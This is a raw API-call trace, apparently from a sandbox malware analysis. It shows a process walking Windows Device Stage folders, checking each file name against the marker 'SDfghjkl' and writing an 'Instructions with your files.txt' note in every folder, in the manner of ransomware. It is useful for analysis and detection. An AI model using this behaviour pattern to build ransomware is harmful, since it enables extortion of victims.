[0131.802] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned 102
[0131.802] StrStrIW (lpFirst="resource.xml", lpSrch="SDfghjkl") returned 0x0
[0131.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
[0131.802] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico") returned 103
[0131.802] StrStrIW (lpFirst="ringtones.ico", lpSrch="SDfghjkl") returned 0x0
[0131.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1
[0131.803] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico") returned 102
[0131.803] StrStrIW (lpFirst="settings.ico", lpSrch="SDfghjkl") returned 0x0
[0131.803] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1
[0131.803] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico") returned 98
[0131.803] StrStrIW (lpFirst="sync.ico", lpSrch="SDfghjkl") returned 0x0
[0131.803] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
[0131.803] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned 99
[0131.803] StrStrIW (lpFirst="tasks.xml", lpSrch="SDfghjkl") returned 0x0
[0131.803] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1
[0131.803] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico") returned 97
[0131.803] StrStrIW (lpFirst="wmp.ico", lpSrch="SDfghjkl") returned 0x0
[0131.803] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0
[0131.803] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Instructions with your files.txt") returned 122
[0131.803] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.803] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.804] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.804] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.804] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.804] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.804] CloseHandle (hObject=0x118) returned 1
[0131.804] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.804] GetProcessHeap () returned 0x810000
[0131.805] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.805] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
[0131.805] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 89
[0131.805] GetProcessHeap () returned 0x810000
[0131.805] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.805] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned 91
[0131.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.805] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\.") returned 91
[0131.805] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.805] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\..") returned 92
[0131.805] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0131.805] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 95
[0131.805] GetProcessHeap () returned 0x810000
[0131.805] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.805] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned 97
[0131.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.805] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\.") returned 97
[0131.805] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.805] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\..") returned 98
[0131.805] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10bc180, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.805] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Instructions with your files.txt") returned 128
[0131.805] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.805] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
[0131.805] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned 108
[0131.805] StrStrIW (lpFirst="resource.xml", lpSrch="SDfghjkl") returned 0x0
[0131.805] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
[0131.806] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Instructions with your files.txt") returned 128
[0131.806] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.806] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.807] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.807] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.807] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.807] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.807] CloseHandle (hObject=0x11c) returned 1
[0131.807] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.807] GetProcessHeap () returned 0x810000
[0131.807] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.807] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
[0131.807] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico") returned 100
[0131.807] StrStrIW (lpFirst="folder.ico", lpSrch="SDfghjkl") returned 0x0
[0131.807] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10bc180, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.807] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Instructions with your files.txt") returned 122
[0131.807] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.807] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1
[0131.807] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico") returned 104
[0131.807] StrStrIW (lpFirst="print_pref.ico", lpSrch="SDfghjkl") returned 0x0
[0131.807] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1
[0131.807] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico") returned 108
[0131.808] StrStrIW (lpFirst="print_property.ico", lpSrch="SDfghjkl") returned 0x0
[0131.808] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1
[0131.808] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico") returned 105
[0131.808] StrStrIW (lpFirst="print_queue.ico", lpSrch="SDfghjkl") returned 0x0
[0131.808] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1
[0131.808] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico") returned 99
[0131.808] StrStrIW (lpFirst="scan_.ico", lpSrch="SDfghjkl") returned 0x0
[0131.808] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1
[0131.808] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico") returned 107
[0131.808] StrStrIW (lpFirst="scan_property.ico", lpSrch="SDfghjkl") returned 0x0
[0131.808] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1
[0131.808] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico") returned 107
[0131.808] StrStrIW (lpFirst="scan_settings.ico", lpSrch="SDfghjkl") returned 0x0
[0131.808] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
[0131.808] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned 99
[0131.808] StrStrIW (lpFirst="tasks.xml", lpSrch="SDfghjkl") returned 0x0
